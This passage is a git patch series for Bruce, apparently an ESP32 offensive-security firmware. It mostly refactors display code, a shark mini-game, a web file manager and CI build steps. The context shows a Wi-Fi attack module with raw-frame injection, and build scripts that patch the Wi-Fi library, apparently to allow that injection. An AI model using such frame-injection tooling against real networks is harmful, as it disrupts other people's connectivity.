normal to print the other letters */ + if(x==j && y==i) { tft.setTextColor(TFT_WHITE, BGCOLOR); } + } + } + redraw = false; + } /* When Select a key in keyboard */ @@ -438,6 +434,7 @@ String keyboard(String mytext, int maxSize, String msg) { else if(x==2 && y==-1 && mytext.length() > 0) mytext.remove(mytext.length()-1); else if(x>2 && y==-1 && mytext.length()-1 && mytext.length()3) x=0; if(x>11) x=0; else if (x<0) x=11; - + redraw = true; } /* UP Btn to move in Y axis (Downwards) */ if(checkPrevPress()) { @@ -462,13 +459,14 @@ String keyboard(String mytext, int maxSize, String msg) { if(y>3) { y=-1; } else if(y<-1) y=3; + redraw = true; } } //Resets screen when finished writing - sprite.fillRect(0,0,sprite.width(),sprite.height(),BGCOLOR); + tft.fillRect(0,0,tft.width(),tft.height(),BGCOLOR); resetTftDisplay(); return mytext; diff --git a/src/sd_functions.cpp b/src/sd_functions.cpp index d12c91c1..86403873 100644 --- a/src/sd_functions.cpp +++ b/src/sd_functions.cpp @@ -350,8 +350,6 @@ String loopSD(bool filePicker) { String PreFolder = "/"; tft.fillScreen(BGCOLOR); tft.drawRoundRect(5,5,WIDTH-10,HEIGHT-10,5,FGCOLOR); - sprite.deleteSprite(); - sprite.createSprite(WIDTH-20,HEIGHT-20); readFs(Folder, fileList); @@ -407,8 +405,6 @@ String loopSD(bool filePicker) { }; delay(200); loopOptions(options); - sprite.deleteSprite(); - sprite.createSprite(WIDTH-20,HEIGHT-20); tft.drawRoundRect(5,5,WIDTH-10,HEIGHT-10,5,FGCOLOR); reload = true; redraw = true; @@ -422,8 +418,6 @@ String loopSD(bool filePicker) { options.push_back({"Main Menu", [=]() { backToMenu(); }}); delay(200); loopOptions(options); - sprite.deleteSprite(); - sprite.createSprite(WIDTH-20,HEIGHT-20); tft.drawRoundRect(5,5,WIDTH-10,HEIGHT-10,5,FGCOLOR); reload = true; redraw = true; @@ -448,8 +442,6 @@ String loopSD(bool filePicker) { result = fileList[index][1]; break; } - sprite.deleteSprite(); - sprite.createSprite(WIDTH-20,HEIGHT-20); tft.drawRoundRect(5,5,WIDTH-10,HEIGHT-10,5,FGCOLOR); reload = true; redraw = true; diff --git a/src/tururururu.cpp b/src/tururururu.cpp index 13b818df..f9dcb956 100644 --- a/src/tururururu.cpp +++ b/src/tururururu.cpp @@ -8,7 +8,7 @@ // Configuração do personagem principal (tubarão) int sharkX = 40; int sharkY = 80; -int sharkSize = 16; +int sharkSize = 14; //Configuração dos peixes struct Fish { @@ -21,24 +21,26 @@ int score = 0; void initSprites() { //sprite para desenhar a tela toda - sprite.deleteSprite(); - sprite.createSprite(WIDTH,HEIGHT); + //tft.deleteSprite(); + //tft.createSprite(WIDTH,HEIGHT); + tft.fillScreen(BGCOLOR); //menu_op para desenhar o tubarao - menu_op.deleteSprite(); - menu_op.createSprite(32,16); - menu_op.fillScreen(TFT_TRANSPARENT); - menu_op.fillEllipse(19,11,10,5,TFT_DARKGREY); - menu_op.fillCircle(17,18,5,TFT_LIGHTGREY); - menu_op.fillTriangle(0,4,0,16,9,11, TFT_DARKGREY); - menu_op.fillTriangle(17,0,17,8,22,8, TFT_DARKGREY); - menu_op.fillCircle(25,8,1,TFT_RED); - menu_op.fillTriangle(23,12,29,12,24,15,TFT_RED); + sprite.deleteSprite(); + sprite.createSprite(32,26); + sprite.fillScreen(BGCOLOR); + sprite.fillEllipse(19,16,10,5,TFT_DARKGREY); + sprite.fillCircle(17,23,5,TFT_LIGHTGREY); + sprite.fillTriangle(0,9,0,21,9,16, TFT_DARKGREY); + sprite.fillTriangle(17,5,17,13,22,13, TFT_DARKGREY); + sprite.fillCircle(25,13,1,TFT_RED); + sprite.fillTriangle(23,17,29,17,24,20,TFT_RED); + sprite.fillRect(0,21,32,5,BGCOLOR); //draw para desenhar o peixe draw.deleteSprite(); - draw.createSprite(16,8); - draw.fillScreen(TFT_TRANSPARENT); + draw.createSprite(20,8); + draw.fillScreen(BGCOLOR); draw.fillEllipse(6,4, 6, 3, TFT_ORANGE); draw.fillTriangle(16,0,16,8,11,5,TFT_ORANGE); draw.drawFastVLine(6,1,7,TFT_WHITE); @@ -50,12 +52,14 @@ void initSprites() { // Função para desenhar o tubarão void drawShark() { - menu_op.pushToSprite(&sprite,sharkX-sharkSize, sharkY,TFT_TRANSPARENT); + sprite.pushSprite(sharkX-sharkSize, sharkY-7); + //sprite.pushToSprite(&sprite,sharkX-sharkSize, sharkY,TFT_TRANSPARENT); } // Função para desenhar peixes void drawFish(Fish &f) { - draw.pushToSprite(&sprite,f.x,f.y,TFT_TRANSPARENT); + draw.pushSprite(f.x,f.y); + //draw.pushToSprite(&sprite,f.x,f.y,TFT_TRANSPARENT); } // Função para mover o tubarão @@ -82,8 +86,8 @@ void moveShark() { if (sharkY < 0) { sharkY = 0; } - if (sharkY > sprite.height() - sharkSize) { - sharkY = sprite.height() - sharkSize; + if (sharkY > tft.height() - sharkSize) { + sharkY = tft.height() - sharkSize; } } @@ -91,8 +95,9 @@ void moveShark() { void moveFish(Fish &f) { f.x -= 2; // Move o peixe para a esquerda if (f.x < -10) { - f.x = sprite.width() + random(20, 100); - f.y = random(10, sprite.height() - 20); + tft.fillRect(f.x,f.y,22,11,BGCOLOR); + f.x = tft.width() + random(20, 100); + f.y = random(10, tft.height() - 20); } } @@ -102,8 +107,9 @@ void checkCollisions() { if ((sharkX < fish[i].x + fish[i].size) && (sharkX + sharkSize > fish[i].x) && (sharkY < fish[i].y + fish[i].size) && (sharkY + sharkSize > fish[i].y)) { // Colidiu com um peixe - fish[i].x = sprite.width() + random(20, 100); - fish[i].y = random(10, sprite.height() - 20); + tft.fillRect(fish[i].x,fish[i].y,18,8,BGCOLOR); + fish[i].x = tft.width() + random(20, 100); + fish[i].y = random(10, tft.height() - 20); score++; } } @@ -111,18 +117,17 @@ void checkCollisions() { // Função para exibir a pontuação void displayScore() { - sprite.fillRect(0,0, WIDTH, HEIGHT, TFT_BLACK); - sprite.setTextColor(TFT_WHITE); - sprite.setTextSize(2); - sprite.setCursor(0, 0); - sprite.printf("Score: %d", score); + tft.setTextColor(TFT_WHITE,BGCOLOR); + tft.setTextSize(2); + tft.setCursor(0, 0); + tft.printf("Score: %d", score); } void shark_setup() { // Inicializa a posição dos peixes for (int i = 0; i < 5; i++) { - fish[i].x = sprite.width() + random(20, 100); - fish[i].y = random(10, sprite.height() - 20); + fish[i].x = tft.width() + random(20, 100); + fish[i].y = random(10, tft.height() - 20); fish[i].size = 8; } //desenha peixes e inicia o display @@ -135,7 +140,6 @@ void shark_setup() { void shark_loop() { for(;;) { // Mostra a tela - sprite.pushSprite(0,0); // Começa a desenhar o Sprite displayScore(); @@ -154,10 +158,10 @@ void shark_loop() { // Pequeno atraso para controlar a velocidade do loop if(score<10) delay(50); if(score>=10 && score<20) delay(40); - if(score>=20 && score<30) delay(30); - if(score>=30 && score<40) delay(20); - if(score>=40 && score<50) delay(10); - if(score>=50) { yield(); } + if(score>=20 && score<30) delay(35); + if(score>=30 && score<40) delay(30); + if(score>=40 && score<50) delay(25); + if(score>=50) { delay(25); } if(score==99) { displaySuccess("Is this fun??"); while(!checkSelPress()) { yield(); } diff --git a/src/webInterface.cpp b/src/webInterface.cpp index 2609f4ba..b3d22391 100644 --- a/src/webInterface.cpp +++ b/src/webInterface.cpp @@ -23,7 +23,7 @@ IPAddress AP_GATEWAY(172, 0, 0, 1); // Gateway Config config; // configuration -WebServer server; // initialise webserver +WebServer* server=nullptr; // initialise webserver const char* host = "bruce"; const String fileconf = "/bruce.txt"; String uploadFolder=""; @@ -44,7 +44,6 @@ void webUIMyNet() { //If it is already connected, just start the network startWebUi(false); } - sprite.createSprite(WIDTH-20,HEIGHT-20); // On fail installing will run the following line } @@ -62,7 +61,6 @@ void loopOptionsWebUi() { delay(200); loopOptions(options); - sprite.createSprite(WIDTH-20,HEIGHT-20); // On fail installing will run the following line } @@ -167,12 +165,12 @@ String processor(const String& var) { /********************************************************************** ** Function: checkUserWebAuth -** used by server.on functions to discern whether a user has the correct +** used by server->on functions to discern whether a user has the correct ** httpapitoken OR is authenticated by username and password **********************************************************************/ bool checkUserWebAuth() { bool isAuthenticated = false; - if (server.authenticate(config.httpuser.c_str(), config.httppassword.c_str())) { + if (server->authenticate(config.httpuser.c_str(), config.httppassword.c_str())) { isAuthenticated = true; } return isAuthenticated; @@ -185,7 +183,7 @@ bool checkUserWebAuth() { ** handles uploads to the filserver **********************************************************************/ void handleFileUpload() { - HTTPUpload& upload = server.upload(); + HTTPUpload& upload = server->upload(); String filename = upload.filename; if (upload.status == UPLOAD_FILE_START) { if (!filename.startsWith("/")) filename = "/" + filename; @@ -199,8 +197,8 @@ void handleFileUpload() { if (uploadFile) { uploadFile.close(); Serial.println("Upload End: " + filename); - server.sendHeader("Location", "/"); // Redireciona para a raiz - server.send(303); + server->sendHeader("Location", "/"); // Redireciona para a raiz + server->send(303); } } } @@ -214,151 +212,151 @@ void configureWebServer() { MDNS.begin(host); // Configura rota padrão para arquivo não encontrado - server.onNotFound([]() { - server.send(404, "text/html", "Nothing in here, sharky!"); + server->onNotFound([]() { + server->send(404, "text/html", "Nothing in here, sharky!"); }); // Visitar esta página fará com que você seja solicitado a se autenticar - server.on("/logout", HTTP_GET, []() { - server.sendHeader("Cache-Control", "no-cache, no-store, must-revalidate"); - server.sendHeader("Location", "/logged-out", true); // Redireciona para a página de login - server.requestAuthentication(); - server.send(302); // Código de status para redirecionamento + server->on("/logout", HTTP_GET, []() { + server->sendHeader("Cache-Control", "no-cache, no-store, must-revalidate"); + server->sendHeader("Location", "/logged-out", true); // Redireciona para a página de login + server->requestAuthentication(); + server->send(302); // Código de status para redirecionamento }); // Página que apresenta que você está desconectado - server.on("/logged-out", HTTP_GET, []() { + server->on("/logged-out", HTTP_GET, []() { String logMessage = "Cliente desconectado."; Serial.println(logMessage); - server.send(200, "text/html", logout_html); + server->send(200, "text/html", logout_html); }); // Uploadfile handler - server.on("/upload", HTTP_POST, []() { - server.send(200, "text/plain", "Upload iniciado"); + server->on("/upload", HTTP_POST, []() { + server->send(200, "text/plain", "Upload iniciado"); }, handleFileUpload); // Index page - server.on("/", HTTP_GET, []() { + server->on("/", HTTP_GET, []() { if (checkUserWebAuth()) { - server.send(200, "text/html", processor(index_html)); + server->send(200, "text/html", processor(index_html)); } else { - server.requestAuthentication(); + server->requestAuthentication(); } }); // Index page - server.on("/Oc34N", HTTP_GET, []() { + server->on("/Oc34N", HTTP_GET, []() { if (checkUserWebAuth()) { - server.send(200, "text/html", processor(page_404)); + server->send(200, "text/html", processor(page_404)); } else { - server.requestAuthentication(); + server->requestAuthentication(); } }); // Route to rename a file - server.on("/rename", HTTP_POST, []() { - if (server.hasArg("fileName") && server.hasArg("filePath")) { - String fileName = server.arg("fileName").c_str(); - String filePath = server.arg("filePath").c_str(); + server->on("/rename", HTTP_POST, []() { + if (server->hasArg("fileName") && server->hasArg("filePath")) { + String fileName = server->arg("fileName").c_str(); + String filePath = server->arg("filePath").c_str(); String filePath2 = filePath.substring(0,filePath.lastIndexOf('/')+1) + fileName; if(!SD.begin()) { - server.send(200, "text/plain", "Fail starting SD Card."); + server->send(200, "text/plain", "Fail starting SD Card."); } else { // Rename the file of folder if (SD.rename(filePath, filePath2)) { - server.send(200, "text/plain", filePath + " renamed to " + filePath2); + server->send(200, "text/plain", filePath + " renamed to " + filePath2); } else { - server.send(200, "text/plain", "Fail renaming file."); + server->send(200, "text/plain", "Fail renaming file."); } } } }); // Reinicia o ESP - server.on("/reboot", HTTP_GET, []() { + server->on("/reboot", HTTP_GET, []() { if (checkUserWebAuth()) { ESP.restart(); } else { - server.requestAuthentication(); + server->requestAuthentication(); } }); // List files of the SD Card - server.on("/listfiles", HTTP_GET, []() { + server->on("/listfiles", HTTP_GET, []() { if (checkUserWebAuth()) { String folder = "/"; - if (server.hasArg("folder")) { - folder = server.arg("folder"); + if (server->hasArg("folder")) { + folder = server->arg("folder"); } - server.send(200, "text/plain", listFiles(true, folder)); + server->send(200, "text/plain", listFiles(true, folder)); } else { - server.requestAuthentication(); + server->requestAuthentication(); } }); // define route to handle download, create folder and delete - server.on("/file", HTTP_GET, []() { + server->on("/file", HTTP_GET, []() { if (checkUserWebAuth()) { - if (server.hasArg("name") && server.hasArg("action")) { - String fileName = server.arg("name").c_str(); - String fileAction = server.arg("action").c_str(); + if (server->hasArg("name") && server->hasArg("action")) { + String fileName = server->arg("name").c_str(); + String fileAction = server->arg("action").c_str(); log_i("filename: %s", fileName); log_i("fileAction: %s", fileAction); if (!SD.exists(fileName)) { if (strcmp(fileAction.c_str(), "create") == 0) { if (SD.mkdir(fileName)) { - server.send(200, "text/plain", "Created new folder: " + String(fileName)); + server->send(200, "text/plain", "Created new folder: " + String(fileName)); } else { - server.send(200, "text/plain", "FAIL creating folder: " + String(fileName)); + server->send(200, "text/plain", "FAIL creating folder: " + String(fileName)); } - } else server.send(400, "text/plain", "ERROR: file does not exist"); + } else server->send(400, "text/plain", "ERROR: file does not exist"); } else { if (strcmp(fileAction.c_str(), "download") == 0) { File downloadFile = SD.open(fileName, FILE_READ); if (downloadFile) { String contentType = "application/octet-stream"; - server.setContentLength(downloadFile.size()); - server.sendHeader("Content-Type", contentType, true); - server.sendHeader("Content-Disposition", "attachment; filename=\"" + String(downloadFile.name()) + "\""); - server.streamFile(downloadFile, contentType); + server->setContentLength(downloadFile.size()); + server->sendHeader("Content-Type", contentType, true); + server->sendHeader("Content-Disposition", "attachment; filename=\"" + String(downloadFile.name()) + "\""); + server->streamFile(downloadFile, contentType); downloadFile.close(); } else { - server.send(500, "text/plain", "Failed to open file for reading"); + server->send(500, "text/plain", "Failed to open file for reading"); } } else if (strcmp(fileAction.c_str(), "delete") == 0) { if (deleteFromSd(fileName)) { - server.send(200, "text/plain", "Deleted : " + String(fileName)); + server->send(200, "text/plain", "Deleted : " + String(fileName)); } else { - server.send(200, "text/plain", "FAIL deleting: " + String(fileName)); + server->send(200, "text/plain", "FAIL deleting: " + String(fileName)); } } else if (strcmp(fileAction.c_str(), "create") == 0) { if (SD.mkdir(fileName)) { - server.send(200, "text/plain", "Created new folder: " + String(fileName)); + server->send(200, "text/plain", "Created new folder: " + String(fileName)); } else { - server.send(200, "text/plain", "FAIL creating folder: " + String(fileName)); + server->send(200, "text/plain", "FAIL creating folder: " + String(fileName)); } } else { - server.send(400, "text/plain", "ERROR: invalid action param supplied"); + server->send(400, "text/plain", "ERROR: invalid action param supplied"); } } } else { - server.send(400, "text/plain", "ERROR: name and action params required"); + server->send(400, "text/plain", "ERROR: name and action params required"); } } else { - server.requestAuthentication(); + server->requestAuthentication(); } }); // Configuração de Wi-Fi via página web - server.on("/wifi", HTTP_GET, []() { + server->on("/wifi", HTTP_GET, []() { if (checkUserWebAuth()) { - if (server.hasArg("usr") && server.hasArg("pwd")) { - const char *ssid = server.arg("usr").c_str(); - const char *pwd = server.arg("pwd").c_str(); + if (server->hasArg("usr") && server->hasArg("pwd")) { + const char *ssid = server->arg("usr").c_str(); + const char *pwd = server->arg("pwd").c_str(); SD.remove(fileconf); File file = SD.open(fileconf, FILE_WRITE); file.print(String(ssid) + ";" + String(pwd) + ";\n"); @@ -366,13 +364,13 @@ void configureWebServer() { config.httppassword = pwd; file.print("#ManagerUser;ManagerPassword;"); file.close(); - server.send(200, "text/plain", "User: " + String(ssid) + " configured with password: " + String(pwd)); + server->send(200, "text/plain", "User: " + String(ssid) + " configured with password: " + String(pwd)); } } else { - server.requestAuthentication(); + server->requestAuthentication(); } }); - server.begin(); + server->begin(); } /********************************************************************** ** Function: startWebUi @@ -412,46 +410,54 @@ void startWebUi(bool mode_ap) { // configure web server Serial.println("Configuring Webserver ..."); + server = (WebServer*)malloc(sizeof(WebServer)); + new (server) WebServer(config.webserverporthttp); + configureWebServer(); tft.fillScreen(BGCOLOR); tft.drawSmoothRoundRect(5,5,5,5,WIDTH-10,HEIGHT-10,ALCOLOR,BGCOLOR); - sprite.deleteSprite(); - sprite.createSprite(WIDTH-14, HEIGHT-14); - setSpriteDisplay(0,0,ALCOLOR,FP); - sprite.drawCentreString("BRUCE WebUI",sprite.width()/2,0,1); + setTftDisplay(0,0,ALCOLOR,FM); + tft.drawCentreString("BRUCE WebUI",tft.width()/2,7,1); String txt; if(!mode_ap) txt = WiFi.localIP().toString(); else txt = WiFi.softAPIP().toString(); + tft.setTextColor(FGCOLOR); #ifndef STICK_C - sprite.drawCentreString("http://bruce.local", sprite.width()/2,15,1); - setSpriteDisplay(0,40,TFT_WHITE,FP); + tft.drawCentreString("http://bruce.local", tft.width()/2,25,1); + setTftDisplay(7,47); #else - sprite.drawCentreString("http://bruce.local", sprite.width()/2,10,1); - setSpriteDisplay(0,19,TFT_WHITE,FP); + tft.drawCentreString("http://bruce.local", tft.width()/2,17,1); + setTftDisplay(7,26); #endif - sprite.setTextSize(FM); - sprite.print("IP: "); sprite.println(txt); - sprite.println("Usr: " + String(default_httpuser) + "\nPwd: " + String(default_httppassword)); - - setSpriteDisplay(0,sprite.height()-32,ALCOLOR,FP); + tft.setTextSize(FM); + tft.print("IP: "); tft.println(txt); + tft.setCursor(7,tft.getCursorY()); + tft.println("Usr: " + String(default_httpuser)); + tft.setCursor(7,tft.getCursorY()); + tft.println("Pwd: " + String(default_httppassword)); + tft.setCursor(7,tft.getCursorY()); + tft.setTextColor(TFT_RED); + tft.setTextSize(FP); #ifdef CARDPUTER - sprite.drawCentreString("press Esc to stop", sprite.width()/2,sprite.height()-8,1); + tft.drawCentreString("press Esc to stop", tft.width()/2,tft.height()-15,1); #else - sprite.drawCentreString("press Pwr to stop", sprite.width()/2,sprite.height()-8,1); + tft.drawCentreString("press Pwr to stop", tft.width()/2,tft.height()-15,1); #endif - sprite.pushSprite(7,7); disableCore0WDT(); disableCore1WDT(); disableLoopWDT(); while (!checkEscPress()) { - server.handleClient(); + server->handleClient(); // nothing here, just to hold the screen until the server is on. } - server.close(); + server->close(); + server->~WebServer(); + free(server); + server = nullptr; MDNS.end(); delay(100); diff --git a/src/wifi_atks.cpp b/src/wifi_atks.cpp index 46464f82..e15a85d6 100644 --- a/src/wifi_atks.cpp +++ b/src/wifi_atks.cpp @@ -76,18 +76,13 @@ void wsl_bypasser_send_raw_frame(const wifi_ap_record_t *ap_record, uint8_t chan ***************************************************************************************/ void wifi_atk_info(String tssid,String mac, uint8_t channel) { //desenhar a tela - drawMainMenu(); - menu_op.deleteSprite(); - menu_op.createSprite(WIDTH-20, HEIGHT-35); - menu_op.fillRect(0,0, menu_op.width(),menu_op.height(), BGCOLOR); - menu_op.setTextColor(FGCOLOR); - menu_op.drawCentreString("-=Information=-", menu_op.width()/2,2,SMOOTH_FONT); - menu_op.drawString("AP: " + tssid,0,20); - menu_op.drawString("Channel: " + String(channel),0,38); - menu_op.drawString(mac,0,55); - menu_op.drawString("Press " + String(BTN_ALIAS) + " to act",0,menu_op.height()-20); - menu_op.pushSprite(6,26); - menu_op.deleteSprite(); + drawMainBorder(); + tft.setTextColor(FGCOLOR); + tft.drawCentreString("-=Information=-", tft.width()/2,28,SMOOTH_FONT); + tft.drawString("AP: " + tssid,0,48); + tft.drawString("Channel: " + String(channel),0,66); + tft.drawString(mac,0,84); + tft.drawString("Press " + String(BTN_ALIAS) + " to act",0,tft.height()-20); delay(300); while(!checkSelPress()) { @@ -107,7 +102,7 @@ void wifi_atk_info(String tssid,String mac, uint8_t channel) { void wifi_atk_menu() { int nets; WiFi.mode(WIFI_MODE_STA); - displayScanning(); + displayRedStripe("Scanning..",TFT_WHITE,FGCOLOR); nets=WiFi.scanNetworks(); options = { }; for(int i=0; i20) { displayError("Wifi Offline"); @@ -90,7 +88,7 @@ bool wifiConnectMenu(bool isAP) { else if (WiFi.status() != WL_CONNECTED) { int nets; WiFi.mode(WIFI_MODE_STA); - displayScanning(); + displayRedStripe("Scanning..",TFT_WHITE,FGCOLOR); nets=WiFi.scanNetworks(); options = { }; for(int i=0; i Date: Fri, 17 May 2024 11:54:09 -0300 Subject: [PATCH 3/9] Update README.md --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 7bcb5abf..0a640d3f 100644 --- a/README.md +++ b/README.md @@ -14,7 +14,7 @@ # List of Functionalities -- [ ] Boot Screen +- [x] Boot Screen - [ ] Code Organization ## WiFi @@ -45,7 +45,7 @@ ## RF - [ ] Scan/Copy (New) - [ ] Replay -- [ ] Spectrum (New) +- [x] Spectrum (New) ## RFID - [x] Read and Write @@ -56,7 +56,7 @@ - [x] SD Card Mngr (New) - [ ] WebUI (New) - [x] Server Structure - - [ ] Html + - [x] Html - [x] SDCard Mngr - [ ] Spiffs Mngr - [x] Megalodon (New) From e5a01fb2f826e6ff489576492596aa2f9610a3b3 Mon Sep 17 00:00:00 2001 From: Pirata <104320209+bmorcelli@users.noreply.github.com> Date: Fri, 17 May 2024 12:37:29 -0300 Subject: [PATCH 4/9] Update display.cpp --- src/display.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/display.cpp b/src/display.cpp index 6ec7a7a3..7f6fb210 100644 --- a/src/display.cpp +++ b/src/display.cpp @@ -312,11 +312,11 @@ int getBattery() { #endif adc1_config_width(ADC_WIDTH_BIT_12); - adc1_config_channel_atten((adc1_channel_t)_batAdcCh, ADC_ATTEN_DB_11); + adc1_config_channel_atten((adc1_channel_t)_batAdcCh, ADC_ATTEN_DB_12); static esp_adc_cal_characteristics_t* adc_chars = nullptr; static constexpr int BASE_VOLATAGE = 3600; adc_chars = (esp_adc_cal_characteristics_t*)calloc(1, sizeof(esp_adc_cal_characteristics_t)); - esp_adc_cal_characterize((adc_unit_t)_batAdcUnit, ADC_ATTEN_DB_11, ADC_WIDTH_BIT_12, BASE_VOLATAGE, adc_chars); + esp_adc_cal_characterize((adc_unit_t)_batAdcUnit, ADC_ATTEN_DB_12, ADC_WIDTH_BIT_12, BASE_VOLATAGE, adc_chars); int raw; raw = adc1_get_raw((adc1_channel_t)_batAdcCh); uint32_t volt = esp_adc_cal_raw_to_voltage(raw, adc_chars); From ac87961f04d50c3e9e0947c62a6911f48893cd04 Mon Sep 17 00:00:00 2001 From: Pirata <104320209+bmorcelli@users.noreply.github.com> Date: Fri, 17 May 2024 13:39:33 -0300 Subject: [PATCH 5/9] Update buil_parallel.yml --- .github/workflows/buil_parallel.yml | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/.github/workflows/buil_parallel.yml b/.github/workflows/buil_parallel.yml index f6476f5d..3f227f1f 100644 --- a/.github/workflows/buil_parallel.yml +++ b/.github/workflows/buil_parallel.yml @@ -134,3 +134,11 @@ path: Bruce_*.bin retention-days: 5 if-no-files-found: error + + - name: Upload elf ${{ matrix.board.name }} + uses: actions/upload-artifact@v4 + with: + name: Bruce_${{ matrix.board.env }}_${{ github.run_number }}_elfs + path: .pio/build/${{ matrix.board.env }}/firmware.* + retention-days: 5 + if-no-files-found: error From 4bb8558cf6f948042c2769908f6f223ecc88d926 Mon Sep 17 00:00:00 2001 From: Pirata <104320209+bmorcelli@users.noreply.github.com> Date: Fri, 17 May 2024 15:09:32 -0300 Subject: [PATCH 6/9] Update platformio.ini --- platformio.ini | 1 + 1 file changed, 1 insertion(+) diff --git a/platformio.ini b/platformio.ini index 847fd074..fd34a330 100644 --- a/platformio.ini +++ b/platformio.ini @@ -156,6 +156,7 @@ lib_deps = [env:m5stack-cardputer] platform = espressif32 +platform_packages=framework-arduinoespressif32@3.20014 board = m5stack-stamps3 framework = arduino board_build.partitions = custom_8Mb.csv From faea493d895ae848a48897df00456d46b1170447 Mon Sep 17 00:00:00 2001 From: Pirata <104320209+bmorcelli@users.noreply.github.com> Date: Fri, 17 May 2024 15:13:04 -0300 Subject: [PATCH 7/9] Update display.cpp --- src/display.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/display.cpp b/src/display.cpp index 7f6fb210..6ec7a7a3 100644 --- a/src/display.cpp +++ b/src/display.cpp @@ -312,11 +312,11 @@ int getBattery() { #endif adc1_config_width(ADC_WIDTH_BIT_12); - adc1_config_channel_atten((adc1_channel_t)_batAdcCh, ADC_ATTEN_DB_12); + adc1_config_channel_atten((adc1_channel_t)_batAdcCh, ADC_ATTEN_DB_11); static esp_adc_cal_characteristics_t* adc_chars = nullptr; static constexpr int BASE_VOLATAGE = 3600; adc_chars = (esp_adc_cal_characteristics_t*)calloc(1, sizeof(esp_adc_cal_characteristics_t)); - esp_adc_cal_characterize((adc_unit_t)_batAdcUnit, ADC_ATTEN_DB_12, ADC_WIDTH_BIT_12, BASE_VOLATAGE, adc_chars); + esp_adc_cal_characterize((adc_unit_t)_batAdcUnit, ADC_ATTEN_DB_11, ADC_WIDTH_BIT_12, BASE_VOLATAGE, adc_chars); int raw; raw = adc1_get_raw((adc1_channel_t)_batAdcCh); uint32_t volt = esp_adc_cal_raw_to_voltage(raw, adc_chars); From 4a0f744894f046dc1c2eddddc74d63fabb37e3a2 Mon Sep 17 00:00:00 2001 From: Pirata <104320209+bmorcelli@users.noreply.github.com> Date: Fri, 17 May 2024 15:19:06 -0300 Subject: [PATCH 8/9] Update buil_parallel.yml --- .github/workflows/buil_parallel.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/buil_parallel.yml b/.github/workflows/buil_parallel.yml index 3f227f1f..97c936f3 100644 --- a/.github/workflows/buil_parallel.yml +++ b/.github/workflows/buil_parallel.yml @@ -80,10 +80,10 @@ pio pkg install -p espressif32 -t toolchain-xtensa32 esp32_file="$HOME/.platformio/packages/framework-arduinoespressif32/tools/sdk/esp32/lib/libnet80211.a" - esp32s3_file="$HOME/.platformio/packages/framework-arduinoespressif32/tools/sdk/esp32s3/lib/libnet80211.a" + esp32s3_file="$HOME/.platformio/packages/framework-arduinoespressif32@3.20014.231204/tools/sdk/esp32s3/lib/libnet80211.a" esp32_file_temp="$HOME/.platformio/packages/framework-arduinoespressif32/tools/sdk/esp32/lib/libnet80211_temp.a" - esp32s3_file_temp="$HOME/.platformio/packages/framework-arduinoespressif32/tools/sdk/esp32s3/lib/libnet80211_temp.a" + esp32s3_file_temp="$HOME/.platformio/packages/framework-arduinoespressif32@3.20014.231204/tools/sdk/esp32s3/lib/libnet80211_temp.a" # Definir caminhos para as ferramentas objcopy toolchain_esp32="$HOME/.platformio/packages/toolchain-xtensa-esp32/xtensa-esp32-elf/bin/objcopy" From f3d2269c49ae2e872ad20bb3048c17e7a4253046 Mon Sep 17 00:00:00 2001 From: Pirata <104320209+bmorcelli@users.noreply.github.com> Date: Fri, 17 May 2024 15:20:49 -0300 Subject: [PATCH 9/9] Update build.yml --- .github/workflows/build.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index d8db32b8..5b7d7f0c 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -32,10 +32,10 @@ jobs: pio pkg install -p espressif32 -t toolchain-xtensa32 esp32_file="$HOME/.platformio/packages/framework-arduinoespressif32/tools/sdk/esp32/lib/libnet80211.a" - esp32s3_file="$HOME/.platformio/packages/framework-arduinoespressif32/tools/sdk/esp32s3/lib/libnet80211.a" + esp32s3_file="$HOME/.platformio/packages/framework-arduinoespressif32@3.20014.231204/tools/sdk/esp32s3/lib/libnet80211.a" esp32_file_temp="$HOME/.platformio/packages/framework-arduinoespressif32/tools/sdk/esp32/lib/libnet80211_temp.a" - esp32s3_file_temp="$HOME/.platformio/packages/framework-arduinoespressif32/tools/sdk/esp32s3/lib/libnet80211_temp.a" + esp32s3_file_temp="$HOME/.platformio/packages/framework-arduinoespressif32@3.20014.231204/tools/sdk/esp32s3/lib/libnet80211_temp.a" # Definir caminhos para as ferramentas objcopy toolchain_esp32="$HOME/.platformio/packages/toolchain-xtensa-esp32/xtensa-esp32-elf/bin/objcopy"